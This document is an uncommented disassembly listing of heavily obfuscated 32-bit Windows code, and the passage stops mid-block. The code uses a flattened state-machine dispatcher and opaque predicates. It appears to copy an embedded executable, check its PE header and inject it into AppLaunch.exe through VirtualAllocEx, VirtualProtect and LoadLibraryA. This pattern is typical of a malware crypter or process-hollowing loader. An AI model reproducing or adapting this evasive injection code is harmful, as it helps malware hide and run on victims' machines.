cmp eax, 0xf074fdef
jne 0x401810
mov eax, dword [ebp - 0x4c158]
mov edx, dword [ebp - 0x4c060]
mov dword [eax], 0x44
mov ecx, dword [edx + 0xa0]
mov eax, dword [edx + 0x50]
mov edx, dword [edx + 0xa4]
mov dword [ebp - 0x4c15c], eax
mov dword [ebp - 0x4c154], ecx
mov dword [ebp - 0x4c104], edx
mov eax, 0x7ea1a0d0
jmp 0x401810
cmp eax, 0x2570c10a
je 0x404a4d
cmp eax, 0x25e1c3b7
jne 0x401810
mov eax, dword [0x4af3f0]
mov esi, 0x9f66ef4a
mov edi, 0x7469b322
mov dword [ebp - 0x4c064], 1
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x7469b322
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, esi
cmp dword [0x4af3ec], 0xa
setl dl
cmovge eax, edi
xor dl, cl
cmovne eax, esi
jmp 0x401810
cmp eax, 0xa54fa62c
je 0x404a6a
cmp eax, 0xa55f77c9
jne 0x401810
mov eax, 0x57db4ff9
jmp 0x401810
cmp eax, 0x65984d2e
je 0x404a90
cmp eax, 0x65e86865
jne 0x401810
mov eax, dword [0x4af3f0]
mov edi, 0x49996d16
mov esi, 0x929b5c45
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x929b5c45
jmp 0x4017f3
cmp eax, 0xd0a9b188
je 0x404aa9
cmp eax, 0xd2bac2ac
jne 0x401810
mov eax, 0x8008d72c
jmp 0x401810
cmp eax, 0x1a6121a7
je 0x404ad4
cmp eax, 0x1b0f5e4b
jne 0x401810
push 0x400
lea eax, [ebp - 0x4c010]
push eax
push dword [ebp - 0x4c058]
vzeroupper
call fcn.0043ad60
add esp, 0xc
mov eax, dword [ebp - 0x4c060]
mov dword [ebp - 0x4c170], eax
mov eax, 0x292c5213
jmp 0x401810
cmp eax, 0x9705b9e4
je 0x404ade
cmp eax, 0x974e8382
jne 0x401810
mov eax, dword [ebp - 0x4c19c]
mov ecx, 0xbc61f9c3
cmp eax, dword [ebp - 0x4c1a0]
mov eax, 0x52f9c6f5
cmovb eax, ecx
jmp 0x401810
cmp eax, 0x54cbb961
je 0x404afd
cmp eax, 0x55030e70
jne 0x401810
mov eax, dword [ebp - 0x4c070]
mov dword [eax], 0x20
mov eax, 0xa64703fb
jmp 0x401810
cmp eax, 0x17caad8
je 0x404b16
cmp eax, 0x189d3cb
jne 0x401810
mov eax, dword [ebp - 0x4c0b4]
mov eax, dword [eax]
mov dword [ebp - 0x4c1a8], eax
mov eax, dword [ebp - 0x4c0b0]
mov eax, dword [eax]
mov dword [ebp - 0x4c1ac], eax
mov eax, 0x6cb13076
jmp 0x401810
cmp eax, 0x37a273b7
je 0x404b2c
cmp eax, 0x38c5176a
jne 0x401810
mov eax, 0x2c2e72c7
jmp 0x401810
cmp eax, 0xb807b081
je 0x404b36
cmp eax, 0xb992880c
jne 0x401810
mov eax, 0xe28f610
jmp 0x401810
cmp eax, 0x6ff302a6
je 0x404b4c
cmp eax, 0x70b6298a
jne 0x401810
mov eax, dword [ebp - 0x4c150]
mov dword [ebp - 0x4c0dc], eax
mov eax, dword [ebp - 0x4c0cc]
mov eax, dword [eax]
mov dword [ebp - 0x4c1b0], eax
mov eax, 0x77543bf2
jmp 0x401810
cmp eax, 0xe89cbd7f
je 0x404b92
cmp eax, 0xe986e921
jne 0x401810
cmp byte [ebp - 0x4c09a], 0
mov eax, 0x5379d820
mov ecx, 0x1ffb8878
cmovne eax, ecx
jmp 0x401810
cmp eax, 0x16bbb323
je 0x404ba8
cmp eax, 0x16ce6726
jne 0x401810
mov eax, 0x8035090e
jmp 0x401810
cmp eax, 0x8f70fbd1
je 0x404bb2
cmp eax, 0x9044ea20
jne 0x401810
mov eax, 0xd4bef12
jmp 0x401810
cmp eax, 0x4eb61657
je 0x404bf0
cmp eax, 0x4f8ab370
jne 0x401810
mov edx, dword [ebp - 0x4c0c8]
mov eax, dword [edx]
add eax, dword [ebp - 0x4c058]
mov ecx, dword [ebp - 0x4c0cc]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c0b0]
mov eax, dword [edx + 4]
mov ecx, dword [ebp - 0x4c0b0]
add eax, 0xfffffff8
shr eax, 1
mov dword [ecx], eax
mov eax, 0x9d570588
jmp 0x401810
cmp eax, 0xf4f8b366
je 0x404c0c
cmp eax, 0xf867a7c8
jne 0x401810
mov eax, dword [ebp - 0x4c0f8]
mov eax, dword [ebp - 0x4c0f8]
mov eax, dword [ebp - 0x4c0f8]
vmovups ymm0, ymmword [0x4a2270]
vmovups ymm1, ymmword [0x4a2258]
vmovups ymm2, ymmword [0x4a2238]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x4c0c0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c084]
mov eax, dword [ebp - 0x4c0c0]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x4c084]
add eax, 0xfffffff8
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c0bc]
mov ecx, dword [ebp - 0x4c058]
mov eax, dword [eax]
mov dword [eax + 8], ecx
mov eax, dword [ebp - 0x4c084]
mov eax, dword [eax]
mov dword [eax + 0x18], ecx
mov eax, dword [ebp - 0x4c080]
mov eax, dword [ebp - 0x4c084]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c080]
add eax, 0x24
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c098]
mov eax, dword [ebp - 0x4c098]
vmovups ymmword [eax + 0x58], ymm0
vmovups ymmword [eax + 0x40], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymmword [eax + 0x20], ymm2
vmovups ymmword [eax], ymm1
mov eax, dword [ebp - 0x4c08c]
mov eax, dword [ebp - 0x4c060]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0x4c08c]
setne byte [eax]
mov eax, dword [ebp - 0x4c0d4]
mov eax, dword [ebp - 0x4c08c]
mov eax, 0xceaee6c2
jmp 0x401810
cmp eax, 0x2d1cdb95
je 0x404c47
cmp eax, 0x2d95bb65
jne 0x401810
mov eax, dword [ebp - 0x4c06c]
mov eax, dword [eax]
mov dword [ebp - 0x4c1e8], eax
mov eax, dword [ebp - 0x4c060]
movzx eax, word [eax + 6]
mov dword [ebp - 0x4c1ec], eax
mov eax, 0x51c1dd9a
jmp 0x401810
cmp eax, 0xabd1dad4
je 0x404c6d
cmp eax, 0xafadc8ea
jne 0x401810
mov eax, dword [ebp - 0x4c058]
mov dword [ebp - 0x4c18c], eax
mov eax, dword [ebp - 0x4c060]
add eax, 0x18
mov dword [ebp - 0x4c128], eax
mov eax, 0xd5a8d823
jmp 0x401810
cmp eax, 0x6acf0c26
je 0x404c88
cmp eax, 0x6bdbbd51
jne 0x401810
mov edx, dword [0x4af3f0]
mov ecx, dword [0x4af3ec]
mov esi, 0x64c2fb56
mov edi, 0xc20611d6
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov edx, 0x20000000
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x4c05c]
cmovge eax, esi
mov ecx, dword [ecx]
and ecx, edx
mov dword [ebp - 0x4c1f8], ecx
jmp 0x401810
cmp eax, 0xd4b84efc
je 0x404c92
cmp eax, 0xd5a8d823
jne 0x401810
mov edx, dword [0x4af3f0]
mov ecx, dword [0x4af3ec]
mov esi, 0x15c10b3f
mov edi, 0x6eb4ba86
jmp 0x405015
cmp eax, 0x211722c7
je 0x404c9c
cmp eax, 0x220e9665
jne 0x401810
mov edx, dword [0x4af3f0]
mov eax, dword [0x4af3ec]
mov esi, 0xf1b33d4d
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xc90626f8
jmp 0x404b7a
cmp eax, 0x9e28bfa9
je 0x404ce0
cmp eax, 0x9f2b3bf6
jne 0x401810
mov edx, dword [0x4af3f0]
mov eax, dword [0x4af3ec]
mov esi, 0xd36cab82
mov edi, 0x66a857c6
jmp 0x404cb1
cmp eax, 0x5b1dd7d4
je 0x404d2a
cmp eax, 0x5b435136
jne 0x401810
mov dword [ebp - 0x4c064], 0xc
mov eax, 0xd841781b
jmp 0x401810
cmp eax, 0x6be61de
je 0x404d79
cmp eax, 0x85b7cab
jne 0x401810
mov eax, 0x6285372d
jmp 0x401810
cmp eax, 0x40ed70d8
je 0x404da6
cmp eax, 0x43ad6e62
jne 0x401810
mov eax, dword [ebp - 0x4c06c]
mov ecx, dword [ebp - 0x4c0ac]
mov eax, dword [eax]
lea eax, [eax + eax*4]
mov edi, dword [ecx + eax*8 + 8]
mov eax, dword [ebp - 0x4c06c]
mov eax, dword [eax]
lea eax, [eax + eax*4]
mov ebx, dword [ecx + eax*8 + 0xc]
add ebx, dword [ebp - 0x4c058]
mov eax, dword [ebp - 0x4c0e8]
mov esi, dword [ebp - 0x4c14c]
mov dword [ebp - 0x4c110], eax
mov eax, 0xe71d644c
nop word cs:[eax + eax]
cmp eax, 0x28557317
je 0x404db0
cmp eax, 0xe71d644c
jne 0x4034f0
push dword [ebp - 0x4c110]
push esi
push edi
push ebx
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, 0x28557317
jmp 0x4034f0
cmp eax, 0xc43a8e28
je 0x404dc6
cmp eax, 0xc5147d7f
jne 0x401810
cmp dword [ebp - 0x4c1f8], 0
mov eax, 0xd30187dc
mov ecx, 0xe4b57b35
cmove eax, ecx
jmp 0x401810
cmp eax, 0x7b6df59e
je 0x404e00
cmp eax, 0x7c5c0eeb
jne 0x401810
mov eax, 0x8dd7379f
jmp 0x401810
cmp eax, 0xd900f66e
je 0x404e1b
cmp eax, 0xdad1da75
jne 0x401810
mov eax, dword [ebp - 0x4c11c]
push 0x40
push 0x3000
push dword [eax]
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov eax, 0xc79ca165
jmp 0x401810
cmp eax, 0xedf7cbc
je 0x404e34
cmp eax, 0xf56597d
jne 0x401810
mov edx, dword [0x4af3f0]
mov ecx, dword [0x4af3ec]
mov esi, 0x478a66e4
mov edi, 0xe2420d94
jmp 0x405015
cmp eax, 0x8374727d
je 0x404e4d
cmp eax, 0x84ec41d2
jne 0x401810
mov eax, 0x896a1788
jmp 0x401810
cmp eax, 0x45c82a30
je 0x404e57
cmp eax, 0x478a66e4
jne 0x401810
mov eax, 0xe2420d94
jmp 0x401810
cmp eax, 0xeeef4383
je 0x404e76
cmp eax, 0xefd50984
jne 0x401810
push eax
mov eax, esp
mov dword [ebp - 0x4c0e8], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c06c], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c070], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c05c], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c0bc], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c0c0], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c084], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c080], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0x4c098], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c08c], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x4c0d4], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c0ec], eax
push 0x4c000
push 0x456218
lea esi, [ebp - 0x4c010]
push esi
vzeroupper
call fcn.0043ad60
add esp, 0xc
push 0x4c000
push esi
call fcn.00401550
add esp, 8
mov eax, dword [ebp - 0x4bfd4]
cmp dword [eax + esi], 0x4550
lea ecx, [eax + esi]
mov eax, 0xd8e417
mov dword [ebp - 0x4c060], ecx
mov ecx, 0x88071894
cmove eax, ecx
jmp 0x401810
cmp eax, 0x246ee5b9
je 0x404e8c
cmp eax, 0x254eee8a
jne 0x401810
mov eax, 0x21ceeb3
jmp 0x401810
cmp eax, 0xa2e1e730
je 0x404eaa
cmp eax, 0xa4d337a6
jne 0x401810
mov eax, dword [0x4af3f0]
mov esi, 0x60d0f0fa
mov edi, 0x594068cc
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x594068cc
jmp 0x40522a
cmp eax, 0x62c52ca7
je 0x404ec4
cmp eax, 0x64c2fb56
jne 0x401810
mov eax, dword [ebp - 0x4c05c]
mov eax, 0x6bdbbd51
jmp 0x401810
cmp eax, 0xceaee6c2
je 0x404edf
cmp eax, 0xd027daed
jne 0x401810
mov eax, dword [ebp - 0x4c088]
mov eax, dword [ebp - 0x4c058]
mov dword [ebp - 0x4c0c4], eax
mov eax, dword [ebp - 0x4c060]
mov dword [ebp - 0x4c1c0], eax
mov eax, 0xedf7cbc
jmp 0x401810
cmp eax, 0x19da4061
je 0x404ff5
cmp eax, 0x1a4f1875
jne 0x401810
mov eax, dword [ebp - 0x4c18c]
mov ecx, 0xd027daed
cmp eax, dword [ebp - 0x4c190]
mov eax, 0x66a1cd08
cmove eax, ecx
jmp 0x401810
cmp eax, 0x95a54049
je 0x404fff
cmp eax, 0x96d45167
jne 0x401810
mov eax, dword [ebp - 0x4c0d0]
mov eax, dword [ebp - 0x4c090]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c07c]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
add eax, dword [ebp - 0x4c058]
mov ecx, dword [ebp - 0x4c0d0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c094]
mov eax, dword [ebp - 0x4c090]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c07c]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
mov dword [ebp - 0x4c1d4], eax
mov eax, 0x8f70fbd1
jmp 0x401810
cmp eax, 0x53085a0f
je 0x405042
cmp eax, 0x5379d820
jne 0x401810
mov eax, dword [0x4af3f0]
mov edi, 0x883ca89b
mov esi, 0xc8a940bc
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xc8a940bc
jmp 0x4017f3
cmp eax, 0xfef574fa
je 0x405076
cmp eax, 0xd8e417
jne 0x401810
mov eax, dword [0x4af3f0]
mov esi, 0x155041c0
mov edi, 0x33173731
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x33173731
jmp 0x40522a
cmp eax, 0x33173731
je 0x405080
cmp eax, 0x367ff6ad
jne 0x401810
mov eax, dword [ebp - 0x4c07c]
mov eax, dword [ebp - 0x4c07c]
mov dword [eax], 0
mov eax, 0xe48c2ee5
jmp 0x401810
cmp eax, 0xb3e0e715
je 0x405094
cmp eax, 0xb7b956d2
jne 0x401810
mov edx, dword [0x4af3f0]
mov ecx, dword [0x4af3ec]
mov esi, 0x575aa585
mov edi, 0xd4b84efc
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov edx, dword [ebp - 0x4c064]
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
cmovge eax, esi
mov dword [ebp - 0x4c10c], edx
jmp 0x401810
cmp eax, 0x6fb466a9
je 0x4050aa
cmp eax, 0x6fce2a8f
jne 0x401810
mov ecx, dword [ebp - 0x4c188]
mov eax, 0xbeeab622
mov dword [ebp - 0x4c0a8], ecx
jmp 0x401810
cmp eax, 0xe6dad6af
je 0x4050ba
cmp eax, 0xe75d8835
jne 0x401810
mov eax, dword [ebp - 0x4c088]
mov eax, dword [eax]
mov dword [ebp - 0x4c1c4], eax
mov eax, 0x4a93d990
jmp 0x401810
cmp eax, 0x1678ad9d
je 0x4050d2
cmp eax, 0x1682eff0
jne 0x401810
mov eax, dword [ebp - 0x4c12c]
mov esi, 0x6acf0c26
mov edi, 0xb014f2b6
movzx eax, word [eax]
mov word [ebp - 0x4c0e2], ax
mov eax, dword [0x4af3f0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xb014f2b6
jmp 0x405232
cmp eax, 0x8d7b8dd9
je 0x4050dc
cmp eax, 0x8dd7379f
jne 0x401810
mov edx, dword [0x4af3f0]
mov eax, dword [0x4af3ec]
mov esi, 0x9d1bb861
mov edi, 0x4545fe91
jmp 0x404cb1
cmp eax, 0x4e889c73
je 0x4050e6
cmp eax, 0x4e97f7b5
jne 0x401810
mov eax, 0x94260dae
jmp 0x401810
cmp eax, 0xf426be11
je 0x40512b
cmp eax, 0xf48eb747
jne 0x401810
mov eax, dword [0x4af3f0]
mov edi, 0xf2393468
mov esi, 0xf93123cf
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xf93123cf
jmp 0x4017eb
cmp eax, 0x2c7e899b
je 0x40513f
cmp eax, 0x2d0ca0de
jne 0x401810
cmp byte [ebp - 0x4c09f], 0
mov eax, 0xe4b57b35
mov ecx, 0x6ff302a6
cmovne eax, ecx
jmp 0x401810
cmp eax, 0xaa016752
je 0x405173
cmp eax, 0xab68fb20
jne 0x401810
mov eax, 0x189d3cb
jmp 0x401810
cmp eax, 0x688f097c
je 0x405192
cmp eax, 0x6a1369f3
jne 0x401810
mov eax, dword [ebp - 0x4c0ec]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 0xb30d7c4d
jmp 0x401810
cmp eax, 0xd42ca32b
je 0x4051c4
cmp eax, 0xd438b210
jne 0x401810
mov edx, dword [0x4af3f0]
mov eax, dword [0x4af3ec]
mov esi, 0xfb1f4d4e
mov edi, 0x5b017ed4
jmp 0x404cb1
cmp eax, 0x1f0054b5
je 0x4051ce
cmp eax, 0x1ffb8878
jne 0x401810
mov eax, dword [ebp - 0x4c074]
mov eax, dword [eax]
mov dword [ebp - 0x4c12c], eax
mov eax, 0x62c52ca7
jmp 0x401810
cmp eax, 0x9d570588
je 0x4051e4
cmp eax, 0x9d666b90
jne 0x401810
mov eax, dword [ebp - 0x4c06c]
mov esi, 0xb062c191
mov edi, 0x6866cb95
mov dword [eax], 0
mov eax, dword [0x4af3f0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x6866cb95
jmp 0x40522a
cmp eax, 0x594068cc
je 0x40524f
cmp eax, 0x5b017ed4
jne 0x401810
mov edx, dword [0x4af3f0]
mov eax, dword [0x4af3ec]
mov esi, 0xfb1f4d4e
mov edi, 0xf23e2534
jmp 0x404cb1
cmp eax, 0x3380f6f
je 0x405274
cmp eax, 0x65da6bd
jne 0x401810
mov eax, dword [0x4af3f0]
mov esi, 0x2bb9e29f
mov edi, 0x6fb466a9
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x6fb466a9
jmp 0x40522a
mov eax, 0x441b2ec0
jmp 0x401810
mov eax, 0x6a1369f3
jmp 0x401810
mov eax, 0xc5147d7f
jmp 0x401810
mov eax, dword [ebp - 0x4c070]
mov dword [eax], 0x40
mov eax, 0x1383a918
jmp 0x401810
cmp byte [ebp - 0x4c0a1], 0
mov eax, 0x896a1788
mov ecx, 0x12e84f8a
cmovne eax, ecx
jmp 0x401810
mov eax, dword [ebp - 0x4c06c]
mov eax, dword [0x4af3f0]
mov edi, 0x9d666b90
mov esi, 0x6866cb95
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x6866cb95
jmp 0x4017f3
mov eax, dword [0x4af3f0]
mov esi, 0x3e286556
mov edi, 0x478a66e4
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x478a66e4
jmp 0x405232
mov edx, dword [0x4af3f0]
mov eax, dword [0x4af3ec]
mov esi, 0x19da4061
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xa947898c
jmp 0x404b7a
cmp dword [ebp - 0x4c1f0], 0
mov eax, 0xc9f16617
mov ecx, 0x9705b9e4
cmovns eax, ecx
jmp 0x401810
mov eax, 0x1c0090c8
jmp 0x401810
mov eax, dword [ebp - 0x4c10c]
mov ecx, 0xe050499f
cmp eax, 0xc
mov eax, 0xabd1dad4
cmovl eax, ecx
jmp 0x401810
lea eax, [ebp - 0x4c054]
vxorps xmm0, xmm0, xmm0
vmovups ymmword [ebp - 0x4c034], ymm0
vmovups ymmword [ebp - 0x4c054], ymm0
mov dword [ebp - 0x4c014], 0
mov dword [ebp - 0x4c158], eax
mov eax, 0xf074fdef
jmp 0x401810
mov eax, 0x1b0f5e4b
jmp 0x401810
mov eax, dword [ebp - 0x4c068]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c1c4]
lea eax, [eax + eax*4]
lea eax, [ecx + eax*4 + 0x10]
mov dword [ebp - 0x4c1c8], eax
mov eax, 0x5883848c
jmp 0x401810
mov eax, 0x7d7ce329
jmp 0x401810
mov edx, dword [0x4af3f0]
mov ecx, dword [0x4af3ec]
mov esi, 0x9068feb4
mov edi, 0xd900f66e
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
movzx ecx, word [ebp - 0x4c0e2]
cmovge eax, esi
mov edx, ecx
xor edx, 0xcfff
test dx, cx
setne byte [ebp - 0x4c09b]
jmp 0x401810
mov eax, dword [ebp - 0x4c070]
mov dword [eax], 2
mov eax, 0x3cc72b20
jmp 0x401810
mov eax, dword [ebp - 0x4c170]
mov ecx, dword [ebp - 0x4c060]
movzx ecx, word [ecx + 0x14]
lea eax, [eax + ecx + 0x18]
mov dword [ebp - 0x4c174], eax
mov eax, 0x93fbe827
jmp 0x401810
mov eax, 0xfcc22a25
jmp 0x401810
mov eax, dword [ebp - 0x4c070]
mov esi, 0xfef574fa
mov edi, 0x55030e70
mov dword [eax], 0x20
mov eax, dword [0x4af3f0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x55030e70
jmp 0x40522a
mov eax, 0x4b21692a
jmp 0x401810
mov eax, 0xd027daed
jmp 0x401810
mov eax, dword [ebp - 0x4c13c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c108]
add eax, dword [ebp - 0x4c108]
mov ecx, dword [ebp - 0x4c0b8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c078]
mov eax, dword [ebp - 0x4c0b8]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x4c078]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c078]
mov eax, 0xa09f8fc7
jmp 0x401810
mov eax, dword [0x4af3f0]
mov edi, 0xa64703fb
mov esi, 0x55030e70
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x55030e70
jmp 0x4017eb
mov edx, dword [0x4af3f0]
mov ecx, dword [0x4af3ec]
mov esi, 0xed443719
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xe89cbd7f
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x4c090]
cmovge eax, edx
mov ecx, dword [ecx]
mov esi, dword [ebp - 0x4c07c]
mov esi, dword [esi]
lea ecx, [ecx + esi*4]
mov dword [ebp - 0x4c1d0], ecx
jmp 0x401810
mov eax, dword [ebp - 0x4c06c]
mov dword [ebp - 0x4c064], 0x10
mov eax, 0xaa016752
jmp 0x401810
mov edx, dword [0x4af3f0]
mov eax, dword [0x4af3ec]
mov esi, 0xdfb64edf
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xb807b081
jmp 0x404b7a
mov eax, 0xb7b956d2
jmp 0x401810
mov edx, dword [0x4af3f0]
mov eax, dword [0x4af3ec]
mov esi, 0x9044ea20
mov edi, 0xd4bef12
jmp 0x404cb1
mov eax, 0x859877ad
jmp 0x401810
mov edx, dword [0x4af3f0]
mov eax, dword [0x4af3ec]
mov esi, 0x254eee8a
mov edi, 0xb992880c
jmp 0x404cb1
mov eax, 0x871bcc6b
jmp 0x401810
mov eax, dword [ebp - 0x4c060]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x4c160], eax
mov eax, 0xb3e0e715
jmp 0x401810
mov eax, dword [ebp - 0x4c1a4]
mov ecx, dword [ebp - 0x4c074]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c0b4]
mov eax, dword [ebp - 0x4c0b4]
mov dword [eax], 0
mov eax, 0x189d3cb
jmp 0x401810
mov eax, dword [ebp - 0x4c0cc]
mov eax, dword [0x4af3f0]
mov edi, 0x9d570588
mov esi, 0x4f8ab370
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x4f8ab370
jmp 0x4017f3
mov eax, dword [ebp - 0x4c120]
mov ecx, dword [ebp - 0x4c124]
mov edi, 0x2456f1e5
mov esi, 0xd7b10237
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0xc]
add eax, dword [ebp - 0x4c0d8]
mov ecx, dword [ebp - 0x4c0a8]
mov dword [ebp - 0x4c180], eax
mov eax, dword [ebp - 0x4c0ac]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x14]
lea ecx, [ebp - 0x4c010]
add eax, ecx
mov dword [ebp - 0x4c184], eax
mov eax, dword [0x4af3f0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xd7b10237
jmp 0x4017f3
mov eax, 0x85b7cab
jmp 0x401810
mov eax, 0x2a4a7ebd
jmp 0x401810
mov eax, dword [0x4af3f0]
mov esi, 0xddcb6c0
mov edi, 0x9e28bfa9
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x9e28bfa9
jmp 0x405232
mov eax, dword [ebp - 0x4c094]
mov eax, dword [eax]
mov dword [ebp - 0x4c1d8], eax
mov eax, dword [ebp - 0x4c088]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c068]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0x10]
add eax, dword [ebp - 0x4c058]
mov dword [ebp - 0x4c1dc], eax
mov eax, dword [ebp - 0x4c07c]
mov eax, dword [eax]
shl eax, 2
mov dword [ebp - 0x4c1e0], eax
mov eax, 0xd0a9b188
jmp 0x401810
cmp byte [ebp - 0x4c099], 0
mov eax, 0x6cb97d6b
mov ecx, 0xfa9055cb
cmovne eax, ecx
jmp 0x401810
movzx eax, word [ebp - 0x4c0e2]
mov eax, 0xf1629681
jmp 0x401810
mov eax, dword [ebp - 0x4c148]
mov eax, 0x6be61de
jmp 0x401810
mov eax, dword [0x4af3f0]
mov esi, 0x71836417
mov edi, 0xd7b10237
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xd7b10237
jmp 0x40522a
mov eax, dword [ebp - 0x4c0c8]
mov edi, 0x1d90bf7c
mov esi, 0x228d851c
mov dword [ebp - 0x4c1a4], eax
mov eax, dword [0x4af3f0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x228d851c
jmp 0x4017eb
mov eax, 0xf2393468
jmp 0x401810
mov eax, dword [ebp - 0x4c058]
mov dword [ebp - 0x4c0d8], eax
mov eax, dword [ebp - 0x4c0ac]
mov dword [ebp - 0x4c120], eax
mov eax, dword [ebp - 0x4c0a8]
mov dword [ebp - 0x4c124], eax
mov eax, 0x4fbbdad5
jmp 0x401810
mov eax, 0x2d95bb65
jmp 0x401810
mov eax, dword [ebp - 0x4c0e0]
mov eax, dword [ebp - 0x4c0e0]
mov eax, dword [ebp - 0x4c0e0]
mov eax, dword [ebp - 0x4c0e0]
mov ecx, dword [ebp - 0x4c080]
mov ecx, dword [ecx]
add eax, eax
mov word [ecx], ax
mov eax, 0xa213508c
jmp 0x401810
mov eax, dword [ebp - 0x4c12c]
mov eax, 0x1682eff0
jmp 0x401810
mov eax, dword [ebp - 0x4c0b4]
mov eax, 0xf56597d
jmp 0x401810
mov eax, dword [ebp - 0x4c1cc]
add eax, 0xc
mov dword [ebp - 0x4c13c], eax
mov eax, 0x58c215da
jmp 0x401810
mov eax, dword [ebp - 0x4c060]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x4c16c], eax
mov eax, 0x246ee5b9
jmp 0x401810
mov eax, dword [ebp - 0x4c120]
mov eax, dword [ebp - 0x4c124]
mov eax, dword [ebp - 0x4c0d8]
mov eax, dword [ebp - 0x4c0d8]
mov eax, dword [ebp - 0x4c0d8]
mov eax, dword [ebp - 0x4c0d8]
mov eax, 0x71836417
jmp 0x401810
mov edx, dword [0x4af3f0]
mov eax, dword [0x4af3ec]
mov esi, 0xf867a7c8
mov edi, 0xceaee6c2
jmp 0x404cb1
cmp byte [ebp - 0x4c0a0], 0
mov eax, 0x40ed70d8
mov ecx, 0x28baaf41
